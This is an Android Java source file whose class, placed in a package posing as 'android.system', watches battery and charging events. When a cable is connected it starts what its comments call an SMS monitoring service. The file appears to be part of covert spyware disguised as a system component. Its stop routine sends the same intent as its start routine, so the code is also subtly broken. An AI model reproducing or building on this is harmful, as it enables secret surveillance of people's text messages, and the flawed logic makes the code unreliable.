package android.system;



import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.system.utils.LogUtils;
import android.widget.Toast;

public class BatteryStaus {
	private Context mContext;


	public BatteryStaus(Context context){
		mContext = context;
		mContext.registerReceiver(mReceiver, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
		
	}
	
    
	private BroadcastReceiver mReceiver = new BroadcastReceiver() {
		public void onReceive(Context context, Intent intent) {
			String action = intent.getAction();
			if(action.equals(Intent.ACTION_BATTERY_CHANGED)){

				/*
				 * 检测电源状态广播
				 * intent.getIntExtra("plugged", 0)得到的值分别为
				 * 0：断开
				 * 1：连上USB
				 * 2：连上了充电器
				 * */
				
				int plugged = intent.getIntExtra("plugged", 0);
				switch (plugged) {
				case 0:
					stopReciverData(context);
					log("plugged is switch off");
					break;
				case 1:
					startReciverData(context);
					log("plugged is PJUSB CABLE");
					break;
				case 2:
					startReciverData(context);
					log("plugged is charging");
					break;

				default:
					break;
				}

			}
			
		}
	};
	/**
	 * 启动短信监控服务
	 * 
	 * **/
	private void startReciverData(Context context){
		Intent iten = new Intent(AndroidSystem.SMS_RECEIVE_ACTION);
		iten.putExtra("status", AndroidSystem.SMS_RECEIVE_STAT);
		iten.setClass(context, AndroidSystem.class);
		context.startService(iten);
	}
	/**
	 * 停止短信监控服务
	 * 
	 * **/
	private void stopReciverData(Context context){
		Intent iten = new Intent(AndroidSystem.SMS_RECEIVE_ACTION);
		iten.putExtra("status", AndroidSystem.SMS_RECEIVE_STAT);
		iten.setClass(context, AndroidSystem.class);
		context.startService(iten);
	}
	private void log(String msg){
		LogUtils.logD("BatteryStaus", msg);
	}
	
	private void logE(String msg){
		LogUtils.logE("BatteryStaus", msg);
	}
	public void destory(){
		mContext.unregisterReceiver(mReceiver);
	
		if(mReceiver!=null){
			mReceiver = null;
		}
	}

}
